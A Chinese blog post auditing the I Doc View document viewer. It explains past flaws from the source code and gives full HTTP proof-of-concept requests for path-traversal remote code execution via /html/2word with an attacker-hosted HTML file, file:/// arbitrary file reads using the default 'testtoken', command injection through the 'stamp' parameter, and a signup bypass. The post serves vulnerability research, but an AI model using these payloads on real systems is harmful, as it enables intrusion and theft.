IDocView代码审计

fofa指纹

title="I Doc View"

框架分析

(1)版本查看

从系统文件上看WEB-INF/classes/conf.properties

docview.version=13.3.3_2023xxxx

从网站页面上看

GET /version.json

响应如下

{"authCode":"** This software is only authorized to <杭州微宏科技有限公司>. Any use by any other entity is strictly forbidden.\nUsage: WORD2HTML [-src] <src> [-dest] <dest> [-wm|watermark 水印文本] [-hwm|hiddenwatermark] [-wmd|watermarkdense] [-protect] [-d|-debug]\n--------------------------------------------------\n- Website: www.idocv.com\n- E-mail: support@idocv.com\n- Copyright 2014 I Doc View. All Rights Reserved.\n--------------------------------------------------","version":"econage_11.8.6_20210730正式版"}

(2)目录结构

WEB-INF
  |- classes
    |- com
      |- idocv
        |- docview
  |- lib
  |- views
  |- web.xml

查看web.xml,使用Spring框架

  <servlet>
    <servlet-name>appServlet</servlet-name>
    <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
    <init-param>
      <param-name>contextConfigLocation</param-name>
      <param-value>classpath:servlet.xml</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
  </servlet>
​
  <servlet-mapping>
    <servlet-name>appServlet</servlet-name>
    <url-pattern>/</url-pattern>
  </servlet-mapping>

跟进servlet.xml。扫描com.idocv.docview注解下的类

<context:component-scan base-package="com.idocv.docview" />

查看Controller相关类,整理路由

DocController /doc
DrawController /draw
EditController /edit
HtmlController /html
InfoController /info
LabelController /label
MainController /
SessionController /session
ShareController 
SystemController /system
TextController /text
UserController /user
ViewController /view

历史漏洞

/html/2word 远程代码执行漏洞

影响版本: <13.10.1_20231115。找到该漏洞的代码,位于HtmlController#toWord()

代码RcUtil.getDataDir()先从conf.properties文件读取配置

data.dir=/idocv/data/
data.url=/data/

根据配置创建目录/idocv/data/urlhtml/,计算url的md5作为子目录名,判断/idocv/data/urlhtml/(md5)/index.html是否存在,如果不存在就调用downloadHtml从传入的url获取文件。

downloadHtml对url发起连接,实际调用getWebPage读取html的内容,然后将html中的链接提取放入filesToGrab列表中,对链接再次执行getWebPage。跟进看一下getWebPage具体干了什么。

getWebPage下载url网页内容

getWebPage用于从指定的url下载网页内容,并将其保存到指定的目录中。

先看一下对url的处理。获取url的路径,并从url中提取文件名。如果提取的文件名为空就以default.html作为文件名。如果传入的fileName参数不为空,就使用该参数作为文件名。Ps:注意区分fileName(传入的)和filename(url截取的)。总结下来就是传入了fileName就会覆盖一切。如果没传,那就从url中截取。

后面,根据传入的filename参数,判断是否以.html、.htm、.asp、.aspx、.php、.net结尾。如果以这些后缀结尾,读取数据后将其拼接成一个字符串,转成html内容写入到outputFile文件(/idocv/data/urlhtml/(md5)/)中。否则就直接读取内容写入到outputFile。

最直接的想法是如果我们这个url读取的是个jsp文件,由于jsp文件不在这些后缀中,就可以直接写入到本地的jsp文件完成RCE。但是由于getWebPage(obj, outputDir, "index.html");传入了fileName,所以最终写入的文件名只能是index.html。

前面提到,第一次调用getWebPage读取html的内容,然后将html中的链接提取放入filesToGrab列表中,对链接再次执行getWebPage。而这个漏洞的巧妙之处,就是利用了第二次getWebPage。

searchForNewFilesToGrab链接提取

先看一下html的链接是怎么提取的。searchForNewFilesToGrab解析传入的html内容,提取并处理其中的链接、外部脚本和图像链接。并将这些链接替换为简化的文件名。包括<link>标签的href属性、<script>标签的src属性、<img>标签的src属性。

然后将这些链接放入filesToGrab这个列表中。

downloadHtml方法对index.html执行完getWebPage后,会对index.html中提取出来的url链接再次执行getWebPage。这次并没有固定fileName值。此时filename的值就是链接截取后的文件名,它是按照url最后一个/来截取的。

POC构造

另外,这里的截取也有个很关键的点,截取文件名是按照最后一个/的位置来算,但是Windows下,可以用\来表示路径,这样就可以在链接中用..\的形式,实现通过文件名来跨目录。

 漏洞复现时,需要在VPS上放置html文件(如index.html),其中要包含恶意的link。

<!DOCTYPE html>
<html lang="en">
<head>
    <title>test</title>
</head>
<body>
  <link href="/..\..\..\docview\test.jsp">
</body>
</html>

然后VPS开启http请求,再向系统发起攻击

http://ip/html/2word?url=http://vps_ip/index.html

/doc/upload 任意文件读取漏洞

访问如下

http://ip:port/doc/upload?token=testtoken&url=file:///C:/windows/win.ini&name=test.txt

响应内容如下

{"ext":"txt","code":"1","size":"167","name":"rand.txt","srcUrl":"/data/test/2023/1210/10/101554_167_qTZPojt.txt","rid":"test_20231210_101554_167_qTZPojt_txt","uuid":"qTZPojt","desc":"success","md5":"daa6aad525d12f8985695b882301336f"}

然后根据srcUrl的值访问如下。即可在回显中看到win.ini的内容

http://ip:port/test_20231210_101554_167_qTZPojt_txt

其实这个漏洞,最关键的问题是token=testtoken为什么这么赋值。漏洞定位DocController。

首先判断token是否为空。如果token不为空会根据token查找对应的应用。如果token为空,进入到else,会判断用户信息。

一个是从mongodb中查,一个是从mysql中查。

查找数据库初始文件,token的值为testtoken。

如果url不为空,调用addUrl。

跟进addUrl,方法用于从指定url下载文件并将其保存到系统中。它同时支持 HTTP、FTP、File等多种协议。

首先会对domain进行校验,查看conf.properties,配置如下。默认是都可以。

url.view.allow.domains=*

接着往下看addUrl方法,先看file协议部分。检查url是否以file://或file:///开头。如果匹配到,提取file:///后面的内容,作为文件路径,读取文件。

 /doc/{uuid}/pdf 命令执行漏洞

定位DocController类的downloadPdfByUuid。

第一行getByUuid方法,通过给定的 UUID 从 MongoDB 中查询并返回一个文档对象,可以选择是否包括已删除的文档,false即为不包含。然后执行convertWord2PdfStamp方法,根据文档对象的id值,将对应的Word文档转换为 PDF并加上水印stamp。

首先检查rid格式是否有效,然后根据rid获取文件路径。如果文件不存在就抛出异常。如果文件存在且没有水印,直接生成相应的pdf文件。如果有水印,使用指定位置和水印信息进行转换。

跟进CmdUtil.runWindows,这里参数的word2Html属性如下。

converter.word2html=/idocv/converter/word2html.exe 

该方法,检查传入的cmd是否为空,如果不为空,就按空白字符分割,将元素添加到arrayList中。

runWindowsCmd则是调用cmd.exe来执行命令。如果能控制最后这个cmd,那么就可能造成命令执行。

从前往后回溯一下,downloadPdfByUuid接收的uuid、stamp、x、y参数最终会传入到runWindows方法中。但是uuid要用于MongoDB,无法任意传入。x、y是float类型的,也无法任意传入。所以需要考虑构造stamp参数值。当传入的uuid可以查询到相关文档,且stamp不为空时,执行的是如下代码

CmdUtil.runWindows(word2Html, src, dest2, "-stamp", stamp.replaceAll("/", "\\\\"), "-x", String.valueOf(xPercent), "-y", String.valueOf(yPercent)).getResult();

尝试构造stamp参数`test | whoami && echo`,最终将命令拼接如下

word2pdf.exe -src xx -dest xx -stamp xx|whoami && echo -x xx -y xx

POC如下

POST /doc/BcOsoFw/pdf HTTP/1.0
Host: ip
Connection: close
Content-Length: 248
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.2611.55 Safari/537.36
Content-Type: multipart/form-data; boundary=f913360d57a6315b13dfc2f29d56bcd1b2b9cf4a37b00dcbcd870b07f74c--
Accept-Encoding: gzip

--f913360d57a6315b13dfc2f29d56bcd1b2b9cf4a37b00dcbcd870b07f74c
Content-Disposition: form-data; name="stamp"

xx|ping xx||
--f913360d57a6315b13dfc2f29d56bcd1b2b9cf4a37b00dcbcd870b07f74c--

但是这里存在一个问题,这一切的前提都是UUID传入正确,可以从mongodb中查询到文档,才能进行后续这些步骤。那么如何获取一个存在的文档UUID?

一个思路是通过upload方法上传一个文档,这样就回返回一个UUID。这里和上面的/doc/upload的token设置思路一样,只不过这里上传文件,上面的是传入url。

POC如下

POST /doc/upload?token=testtoken HTTP/1.1
Host: ip
Content-Length: 194
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarys5i6gNZKAKmL4hF4
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundarys5i6gNZKAKmL4hF4
Content-Disposition: form-data; name="filename"; filename="test.txt"
Content-Type: text/plain

Test
------WebKitFormBoundarys5i6gNZKAKmL4hF4--

响应如下。这样就有了uuid,再去执行上一步。

{"ext":"txt","code":"1","size":"8","name":"test.txt","srcUrl":"/data/test/2024/0730/19/195705_8_UTajJgt.txt","rid":"test_20240730_195705_8_UTajJgt_txt","uuid":"UTajJgt","desc":"success","md5":"414be7c71463d6191833f211d9cf9098"}

/view/{vid}.json 任意文件读取漏洞

GET /view/a.json?url=file%3A%2F%2F%2FC%3A%2Fwindows%2Fwin.ini HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
​

响应如下

{"code":1,"name":"rand.txt","rid":"test_20231210_101558_167_teCMCSt_txt","uuid":"teCMCSt","md5":"daa6aad525d12f8985695b882301336f","srcUrl":null,"url":null,"size":167,"totalSize":1,"curPage":1,"totalPage":1,"pageSize":10,"titles":null,"data":[{"uuid":null,"title":null,"content":"<div id=\"1\" class=\"scroll-page\">; for 16-bit app support<br />[fonts]<br />[extensions]<br />[mci extensions]<br />[files]<br />[Mail]<br />MAPI=1<br />CMCDLLNAME32=mapi32.dll<br />CMC=1<br />MAPIX=1<br />MAPIXVER=1.0.0.1<br />OLEMessaging=1</div>","text":null,"url":null,"destFile":null,"viewCount":0,"downloadCount":0,"ctime":null}],"styleUrl":null,"versionCount":0,"ctime":"2023-12-10 10:15:58","desc":"Success"}

但是需要注意,请求中的windows.ini不能写成Windows.ini,否则会回显如下

{"code":0,"name":null,"rid":null,"uuid":null,"md5":null,"srcUrl":null,"url":null,"size":0,"totalSize":0,"curPage":1,"totalPage":0,"pageSize":10,"titles":null,"data":null,"styleUrl":null,"versionCount":0,"ctime":null,"desc":"不支持上传ini后缀的文件,详情请联系管理员!"}

查看相应的代码,位于ViewController。同样是调用DocServiceImpl.addUrl方法。参考上面的/doc/upload任意文件读取的分析。

/view/url 任意文件读取漏洞

类似的问题,调用DocServiceImpl.addUrl

/user/signup.json注册认证绕过漏洞

找到注册用户的位置,代码如下。同样是利用已经已经存在的testtoken。

POC如下

POST /user/signup.json HTTP/1.1
Host: ip
Content-Length: 63
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

appkey=testtoken&username=ssk&password=ssk&email=ssk@google.com

  • 16
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值